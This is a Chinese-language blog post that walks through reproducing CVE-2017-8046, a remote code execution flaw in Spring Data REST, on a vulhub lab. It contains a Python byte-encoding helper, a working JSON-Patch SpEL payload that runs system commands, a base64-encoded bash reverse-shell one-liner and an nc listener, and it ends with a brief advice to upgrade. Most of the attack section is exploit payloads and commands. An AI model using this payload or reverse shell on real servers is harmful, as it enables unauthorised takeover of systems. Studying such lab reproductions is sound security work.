CVE-2017-8046-Spring Data Rest RCE 漏洞复现

0x00 前言

近期会一直出spring框架的漏洞

--学如逆水行舟,不进则退

0x01 漏洞简介

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞解析:

Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析 | xxlegend

0x02 影响范围

        受影响的版本

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

        不受影响的版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

0x03 漏洞复现

环境搭建这里使用vulhub靶场环境

搭建成功之后,访问靶场,出现以下页面说明搭建成功

 漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的   不会的看漏洞简介中的漏洞解析

这里进行Ascii转换的使用python脚本

payload变量单引号中就是我们要执行的命令,根据自己的需求修改即可

payload = b'touch /tmp/maskedman'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

 运行转换之后,访问http://靶场ip:8080/customers/1进行抓包

此处要注意::: 1. 抓包之后get方式修改为PATCH

2.添加字段:Content-Type: application/json-patch+json

3.漏洞利用的payload为(new byte 后面的{}括号中的数字就是执行的命令转换后的Ascii码)

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[{116,111,117,99,104,32,47,116,109,112,47,109,97,115,107,101,100,109,97,110}))/lastname", "value": "vulhub" }]

 抓包之后进行重放,完成图如下:

发送成功之后,现在进去docker容器看一下,文件是否创建成功

进去docker容器命令为:

docker exec -it 容器ID /bin/bash 

进入容器之后,发现文件创建成功,说明命令执行成功,如下图

  开始尝试反弹shell

反弹shell之前的准备步骤:

1.对反弹shell的命令进行base64编码

2.使用python脚本对base64编码后的命令进行转码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4ASDADjYuNjUvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}

 

 编码转码之后,在http://靶场ip:8080/customers/1页面处进行抓包

修改的注意点和上面是一样的,只需要将转码后的数字改为反弹shell的即可

nc监听

nc -lvvp 1122

 发送数据包反弹shell

 0x04 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

参考文献:Spring Data Rest服务器PATCH请求远程代码执行漏洞技术分析与防护方案 – 绿盟科技技术博客 (nsfocus.net)

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值